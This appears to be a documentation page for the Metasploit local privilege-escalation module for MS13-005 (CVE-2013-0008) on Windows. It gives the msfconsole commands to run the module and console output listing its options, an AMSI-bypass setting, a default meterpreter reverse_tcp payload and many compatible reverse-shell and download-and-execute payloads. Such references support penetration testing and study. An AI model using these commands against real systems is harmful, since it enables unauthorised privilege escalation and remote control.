MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation - Metasploit


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Module Overview


Name: MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation
Module: exploit/windows/local/ms13_005_hwnd_broadcast
Source code: modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb
Disclosure date: 2012-11-27
Last modification time: 2021-09-08 21:56:02 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2013-0008

Due to a problem with isolating window broadcast messages in the Windows kernel, an attacker can broadcast commands from a lower Integrity Level process to a higher Integrity Level process, thereby effecting a privilege escalation. This issue affects Windows Vista, 7, 8, Server 2008, Server 2008 R2, Server 2012, and RT. Note that spawning a command prompt with the shortcut key combination Win+Shift+# does not work in Vista, so the attacker will have to check if the user is already running a command prompt and set SPAWN_PROMPT false. Three exploit techniques are available with this module. The WEB technique will execute a powershell encoded payload from a Web location. The FILE technique will drop an executable to the file system, set it to medium integrity and execute it. The TYPE technique will attempt to execute a powershell encoded payload directly from the command line, but may take some time to complete.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


msf > use exploit/windows/local/ms13_005_hwnd_broadcast
msf exploit(ms13_005_hwnd_broadcast) > exploit

Required Options


  • SESSION: The session to run this module on.

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Msfconsole Usage


Here is how the windows/local/ms13_005_hwnd_broadcast exploit module looks in the msfconsole:

msf6 > use exploit/windows/local/ms13_005_hwnd_broadcast

[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms13_005_hwnd_broadcast) > show info

       Name: MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation
     Module: exploit/windows/local/ms13_005_hwnd_broadcast
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-11-27

Provided by:
  Tavis Ormandy
  Axel Souchet
  Ben Campbell <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Windows x86
  1   Windows x64

Check supported:
  No

Basic options:
  Name            Current Setting  Required  Description
  ----            ---------------  --------  -----------
  CUSTOM_COMMAND                   no        Custom command to type
  SESSION                          yes       The session to run this module on.
  SPAWN_PROMPT    true             yes       Attempts to spawn a medium integrity command prompt
  SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT         8080             yes       The local port to listen on.
  SSL             false            no        Negotiate SSL for incoming connections
  SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
  TECHNIQUE       WEB              yes       Delivery technique (Accepted: WEB, FILE, TYPE)
  URIPATH                          no        The URI to use for this exploit (default is random)

Payload information:

Description:
  Due to a problem with isolating window broadcast messages in the 
  Windows kernel, an attacker can broadcast commands from a lower 
  Integrity Level process to a higher Integrity Level process, thereby 
  effecting a privilege escalation. This issue affects Windows Vista, 
  7, 8, Server 2008, Server 2008 R2, Server 2012, and RT. Note that 
  spawning a command prompt with the shortcut key combination 
  Win+Shift+# does not work in Vista, so the attacker will have to 
  check if the user is already running a command prompt and set 
  SPAWN_PROMPT false. Three exploit techniques are available with this 
  module. The WEB technique will execute a powershell encoded payload 
  from a Web location. The FILE technique will drop an executable to 
  the file system, set it to medium integrity and execute it. The TYPE 
  technique will attempt to execute a powershell encoded payload 
  directly from the command line, but may take some time to complete.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2013-0008
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2013/MS13-005
  OSVDB (88966)
  http://blog.cmpxchg8b.com/2013/02/a-few-years-ago-while-working-on.html

Module Options


This is a complete list of options available in the windows/local/ms13_005_hwnd_broadcast exploit:

msf6 exploit(windows/local/ms13_005_hwnd_broadcast) > show options

Module options (exploit/windows/local/ms13_005_hwnd_broadcast):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CUSTOM_COMMAND                   no        Custom command to type
   SESSION                          yes       The session to run this module on.
   SPAWN_PROMPT    true             yes       Attempts to spawn a medium integrity command prompt
   SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT         8080             yes       The local port to listen on.
   SSL             false            no        Negotiate SSL for incoming connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   TECHNIQUE       WEB              yes       Delivery technique (Accepted: WEB, FILE, TYPE)
   URIPATH                          no        The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows x86

Advanced Options


Here is a complete list of advanced options supported by the windows/local/ms13_005_hwnd_broadcast exploit:

msf6 exploit(windows/local/ms13_005_hwnd_broadcast) > show advanced

Module advanced options (exploit/windows/local/ms13_005_hwnd_broadcast):

   Name                                    Current Setting  Required  Description
   ----                                    ---------------  --------  -----------
   ContextInformationFile                                   no        The information file that contains context information
   DisablePayloadHandler                   false            no        Disable the handler code for the selected payload
   EXE::Custom                                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR                              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack                           false            no        Use the default template in case the specified one is missing
   EXE::Inject                             false            no        Set to preserve the original EXE function
   EXE::OldMethod                          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                                no        The directory in which to look for the executable template
   EXE::Template                                            no        The executable template file name.
   EnableContextEncoding                   false            no        Use transient context when encoding payloads
   FileDropperDelay                                         no        Delay in seconds before attempting cleanup
   ListenerComm                                             no        The specific communication channel to use for this service
   MSI::Custom                                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR                              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                no        The directory in which to look for the msi template
   MSI::Template                                            no        The msi template file name
   MSI::UAC                                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   Powershell::encode_final_payload        false            yes       Encode final payload for -EncodedCommand
   Powershell::encode_inner_payload        false            yes       Encode inner payload for -EncodedCommand
   Powershell::exec_in_place               false            yes       Produce PSH without executable wrapper
   Powershell::exec_rc4                    false            yes       Encrypt PSH with RC4
   Powershell::method                      reflection       yes       Payload delivery method (Accepted: net, reflection, old, msil)
   Powershell::no_equals                   false            yes       Pad base64 until no "=" remains
   Powershell::noninteractive              true             yes       Execute powershell without interaction
   Powershell::persist                     false            yes       Run the payload in a loop
   Powershell::prepend_protections_bypass  true             yes       Prepend AMSI/SBL bypass
   Powershell::prepend_sleep                                no        Prepend seconds of sleep
   Powershell::remove_comspec              false            yes       Produce script calling powershell directly
   Powershell::strip_comments              true             yes       Strip comments
   Powershell::strip_whitespace            false            yes       Strip whitespace
   Powershell::sub_funcs                   false            yes       Substitute function names
   Powershell::sub_vars                    true             yes       Substitute variable names
   Powershell::wrap_double_quotes          true             yes       Wraps the -Command argument in single quotes
   SSLCipher                                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression                          false            no        Enable SSL/TLS-level compression
   SendRobots                              false            no        Return a robots.txt file if asked for one
   URIHOST                                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                                  no        Port to use in URI (useful for tunnels)
   VERBOSE                                 false            no        Enable detailed status messages
   WORKSPACE                                                no        Specify the workspace for this module

Payload advanced options (windows/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadBindPort                               no        Port to bind reverse tcp socket to on target system.
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the windows/local/ms13_005_hwnd_broadcast module can exploit:

msf6 exploit(windows/local/ms13_005_hwnd_broadcast) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows x86
   1   Windows x64

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/ms13_005_hwnd_broadcast exploit:

msf6 exploit(windows/local/ms13_005_hwnd_broadcast) > show payloads

Compatible Payloads
===================

   #    Name                                                        Disclosure Date  Rank    Check  Description
   -    ----                                                        ---------------  ----    -----  -----------
   0    payload/generic/custom                                                       normal  No     Custom Payload
   1    payload/generic/debug_trap                                                   normal  No     Generic x86 Debug Trap
   2    payload/generic/shell_bind_tcp                                               normal  No     Generic Command Shell, Bind TCP Inline
   3    payload/generic/shell_reverse_tcp                                            normal  No     Generic Command Shell, Reverse TCP Inline
   4    payload/generic/tight_loop                                                   normal  No     Generic x86 Tight Loop
   5    payload/windows/dllinject/bind_hidden_ipknock_tcp                            normal  No     Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
   6    payload/windows/dllinject/bind_hidden_tcp                                    normal  No     Reflective DLL Injection, Hidden Bind TCP Stager
   7    payload/windows/dllinject/bind_ipv6_tcp                                      normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
   8    payload/windows/dllinject/bind_ipv6_tcp_uuid                                 normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   9    payload/windows/dllinject/bind_named_pipe                                    normal  No     Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
   10   payload/windows/dllinject/bind_nonx_tcp                                      normal  No     Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
   11   payload/windows/dllinject/bind_tcp                                           normal  No     Reflective DLL Injection, Bind TCP Stager (Windows x86)
   12   payload/windows/dllinject/bind_tcp_rc4                                       normal  No     Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   13   payload/windows/dllinject/bind_tcp_uuid                                      normal  No     Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
   14   payload/windows/dllinject/reverse_hop_http                                   normal  No     Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
   15   payload/windows/dllinject/reverse_http                                       normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
   16   payload/windows/dllinject/reverse_http_proxy_pstore                          normal  No     Reflective DLL Injection, Reverse HTTP Stager Proxy
   17   payload/windows/dllinject/reverse_ipv6_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (IPv6)
   18   payload/windows/dllinject/reverse_nonx_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
   19   payload/windows/dllinject/reverse_ord_tcp                                    normal  No     Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
   20   payload/windows/dllinject/reverse_tcp                                        normal  No     Reflective DLL Injection, Reverse TCP Stager
   21   payload/windows/dllinject/reverse_tcp_allports                               normal  No     Reflective DLL Injection, Reverse All-Port TCP Stager
   22   payload/windows/dllinject/reverse_tcp_dns                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (DNS)
   23   payload/windows/dllinject/reverse_tcp_rc4                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   24   payload/windows/dllinject/reverse_tcp_rc4_dns                                normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   25   payload/windows/dllinject/reverse_tcp_uuid                                   normal  No     Reflective DLL Injection, Reverse TCP Stager with UUID Support
   26   payload/windows/dllinject/reverse_winhttp                                    normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
   27   payload/windows/dns_txt_query_exec                                           normal  No     DNS TXT Record Payload Download and Execution
   28   payload/windows/download_exec                                                normal  No     Windows Executable Download (http,https,ftp) and Execute
   29   payload/windows/exec                                                         normal  No     Windows Execute Command
   30   payload/windows/loadlibrary                                                  normal  No     Windows LoadLibrary Path
   31   payload/windows/messagebox                                                   normal  No     Windows MessageBox
   32   payload/windows/meterpreter/bind_hidden_ipknock_tcp                          normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
   33   payload/windows/meterpreter/bind_hidden_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
   34   payload/windows/meterpreter/bind_ipv6_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   35   payload/windows/meterpreter/bind_ipv6_tcp_uuid                               normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   36   payload/windows/meterpreter/bind_named_pipe                                  normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
   37   payload/windows/meterpreter/bind_nonx_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   38   payload/windows/meterpreter/bind_tcp                                         normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
   39   payload/windows/meterpreter/bind_tcp_rc4                                     normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   40   payload/windows/meterpreter/bind_tcp_uuid                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   41   payload/windows/meterpreter/reverse_hop_http                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   42   payload/windows/meterpreter/reverse_http                                     normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   43   payload/windows/meterpreter/reverse_http_proxy_pstore                        normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
   44   payload/windows/meterpreter/reverse_https                                    normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
   45   payload/windows/meterpreter/reverse_https_proxy                              normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
   46   payload/windows/meterpreter/reverse_ipv6_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
   47   payload/windows/meterpreter/reverse_named_pipe                               normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
   48   payload/windows/meterpreter/reverse_nonx_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   49   payload/windows/meterpreter/reverse_ord_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   50   payload/windows/meterpreter/reverse_tcp                                      normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager
   51   payload/windows/meterpreter/reverse_tcp_allports                             normal  No     Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
   52   payload/windows/meterpreter/reverse_tcp_dns                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
   53   payload/windows/meterpreter/reverse_tcp_rc4                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   54   payload/windows/meterpreter/reverse_tcp_rc4_dns                              normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   55   payload/windows/meterpreter/reverse_tcp_uuid                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
   56   payload/windows/meterpreter/reverse_winhttp                                  normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
   57   payload/windows/meterpreter/reverse_winhttps                                 normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
   58   payload/windows/meterpreter_bind_named_pipe                                  normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline
   59   payload/windows/meterpreter_bind_tcp                                         normal  No     Windows Meterpreter Shell, Bind TCP Inline
   60   payload/windows/meterpreter_reverse_http                                     normal  No     Windows Meterpreter Shell, Reverse HTTP Inline
   61   payload/windows/meterpreter_reverse_https                                    normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline
   62   payload/windows/meterpreter_reverse_ipv6_tcp                                 normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6)
   63   payload/windows/meterpreter_reverse_tcp                                      normal  No     Windows Meterpreter Shell, Reverse TCP Inline
   64   payload/windows/metsvc_bind_tcp                                              normal  No     Windows Meterpreter Service, Bind TCP
   65   payload/windows/metsvc_reverse_tcp                                           normal  No     Windows Meterpreter Service, Reverse TCP Inline
   66   payload/windows/patchupdllinject/bind_hidden_ipknock_tcp                     normal  No     Windows Inject DLL, Hidden Bind Ipknock TCP Stager
   67   payload/windows/patchupdllinject/bind_hidden_tcp                             normal  No     Windows Inject DLL, Hidden Bind TCP Stager
   68   payload/windows/patchupdllinject/bind_ipv6_tcp                               normal  No     Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
   69   payload/windows/patchupdllinject/bind_ipv6_tcp_uuid                          normal  No     Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   70   payload/windows/patchupdllinject/bind_named_pipe                             normal  No     Windows Inject DLL, Windows x86 Bind Named Pipe Stager
   71   payload/windows/patchupdllinject/bind_nonx_tcp                               normal  No     Windows Inject DLL, Bind TCP Stager (No NX or Win7)
   72   payload/windows/patchupdllinject/bind_tcp                                    normal  No     Windows Inject DLL, Bind TCP Stager (Windows x86)
   73   payload/windows/patchupdllinject/bind_tcp_rc4                                normal  No     Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   74   payload/windows/patchupdllinject/bind_tcp_uuid                               normal  No     Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
   75   payload/windows/patchupdllinject/reverse_ipv6_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (IPv6)
   76   payload/windows/patchupdllinject/reverse_nonx_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
   77   payload/windows/patchupdllinject/reverse_ord_tcp                             normal  No     Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
   78   payload/windows/patchupdllinject/reverse_tcp                                 normal  No     Windows Inject DLL, Reverse TCP Stager
   79   payload/windows/patchupdllinject/reverse_tcp_allports                        normal  No     Windows Inject DLL, Reverse All-Port TCP Stager
   80   payload/windows/patchupdllinject/reverse_tcp_dns                             normal  No     Windows Inject DLL, Reverse TCP Stager (DNS)
   81   payload/windows/patchupdllinject/reverse_tcp_rc4                             normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   82   payload/windows/patchupdllinject/reverse_tcp_rc4_dns                         normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   83   payload/windows/patchupdllinject/reverse_tcp_uuid                            normal  No     Windows Inject DLL, Reverse TCP Stager with UUID Support
   84   payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp                   normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
   85   payload/windows/patchupmeterpreter/bind_hidden_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
   86   payload/windows/patchupmeterpreter/bind_ipv6_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
   87   payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid                        normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   88   payload/windows/patchupmeterpreter/bind_named_pipe                           normal  No     Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
   89   payload/windows/patchupmeterpreter/bind_nonx_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
   90   payload/windows/patchupmeterpreter/bind_tcp                                  normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
   91   payload/windows/patchupmeterpreter/bind_tcp_rc4                              normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   92   payload/windows/patchupmeterpreter/bind_tcp_uuid                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
   93   payload/windows/patchupmeterpreter/reverse_ipv6_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
   94   payload/windows/patchupmeterpreter/reverse_nonx_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
   95   payload/windows/patchupmeterpreter/reverse_ord_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   96   payload/windows/patchupmeterpreter/reverse_tcp                               normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
   97   payload/windows/patchupmeterpreter/reverse_tcp_allports                      normal  No     Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
   98   payload/windows/patchupmeterpreter/reverse_tcp_dns                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
   99   payload/windows/patchupmeterpreter/reverse_tcp_rc4                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   100  payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns                       normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   101  payload/windows/patchupmeterpreter/reverse_tcp_uuid                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
   102  payload/windows/peinject/bind_hidden_ipknock_tcp                             normal  No     Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
   103  payload/windows/peinject/bind_hidden_tcp                                     normal  No     Windows Inject PE Files, Hidden Bind TCP Stager
   104  payload/windows/peinject/bind_ipv6_tcp                                       normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
   105  payload/windows/peinject/bind_ipv6_tcp_uuid                                  normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   106  payload/windows/peinject/bind_named_pipe                                     normal  No     Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
   107  payload/windows/peinject/bind_nonx_tcp                                       normal  No     Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
   108  payload/windows/peinject/bind_tcp                                            normal  No     Windows Inject PE Files, Bind TCP Stager (Windows x86)
   109  payload/windows/peinject/bind_tcp_rc4                                        normal  No     Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   110  payload/windows/peinject/bind_tcp_uuid                                       normal  No     Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
   111  payload/windows/peinject/reverse_ipv6_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (IPv6)
   112  payload/windows/peinject/reverse_named_pipe                                  normal  No     Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
   113  payload/windows/peinject/reverse_nonx_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
   114  payload/windows/peinject/reverse_ord_tcp                                     normal  No     Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
   115  payload/windows/peinject/reverse_tcp                                         normal  No     Windows Inject PE Files, Reverse TCP Stager
   116  payload/windows/peinject/reverse_tcp_allports                                normal  No     Windows Inject PE Files, Reverse All-Port TCP Stager
   117  payload/windows/peinject/reverse_tcp_dns                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (DNS)
   118  payload/windows/peinject/reverse_tcp_rc4                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   119  payload/windows/peinject/reverse_tcp_rc4_dns                                 normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   120  payload/windows/peinject/reverse_tcp_uuid                                    normal  No     Windows Inject PE Files, Reverse TCP Stager with UUID Support
   121  payload/windows/powershell_bind_tcp                                          normal  No     Windows Interactive Powershell Session, Bind TCP
   122  payload/windows/powershell_reverse_tcp                                       normal  No     Windows Interactive Powershell Session, Reverse TCP
   123  payload/windows/shell/bind_hidden_ipknock_tcp                                normal  No     Windows Command Shell, Hidden Bind Ipknock TCP Stager
   124  payload/windows/shell/bind_hidden_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Stager
   125  payload/windows/shell/bind_ipv6_tcp                                          normal  No     Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
   126  payload/windows/shell/bind_ipv6_tcp_uuid                                     normal  No     Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   127  payload/windows/shell/bind_named_pipe                                        normal  No     Windows Command Shell, Windows x86 Bind Named Pipe Stager
   128  payload/windows/shell/bind_nonx_tcp                                          normal  No     Windows Command Shell, Bind TCP Stager (No NX or Win7)
   129  payload/windows/shell/bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Stager (Windows x86)
   130  payload/windows/shell/bind_tcp_rc4                                           normal  No     Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   131  payload/windows/shell/bind_tcp_uuid                                          normal  No     Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
   132  payload/windows/shell/reverse_ipv6_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (IPv6)
   133  payload/windows/shell/reverse_nonx_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (No NX or Win7)
   134  payload/windows/shell/reverse_ord_tcp                                        normal  No     Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
   135  payload/windows/shell/reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Stager
   136  payload/windows/shell/reverse_tcp_allports                                   normal  No     Windows Command Shell, Reverse All-Port TCP Stager
   137  payload/windows/shell/reverse_tcp_dns                                        normal  No     Windows Command Shell, Reverse TCP Stager (DNS)
   138  payload/windows/shell/reverse_tcp_rc4                                        normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   139  payload/windows/shell/reverse_tcp_rc4_dns                                    normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   140  payload/windows/shell/reverse_tcp_uuid                                       normal  No     Windows Command Shell, Reverse TCP Stager with UUID Support
   141  payload/windows/shell/reverse_udp                                            normal  No     Windows Command Shell, Reverse UDP Stager with UUID Support
   142  payload/windows/shell_bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Inline
   143  payload/windows/shell_bind_tcp_xpfw                                          normal  No     Windows Disable Windows ICF, Command Shell, Bind TCP Inline
   144  payload/windows/shell_hidden_bind_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Inline
   145  payload/windows/shell_reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Inline
   146  payload/windows/speak_pwned                                                  normal  No     Windows Speech API - Say "You Got Pwned!"
   147  payload/windows/upexec/bind_hidden_ipknock_tcp                               normal  No     Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
   148  payload/windows/upexec/bind_hidden_tcp                                       normal  No     Windows Upload/Execute, Hidden Bind TCP Stager
   149  payload/windows/upexec/bind_ipv6_tcp                                         normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
   150  payload/windows/upexec/bind_ipv6_tcp_uuid                                    normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   151  payload/windows/upexec/bind_named_pipe                                       normal  No     Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
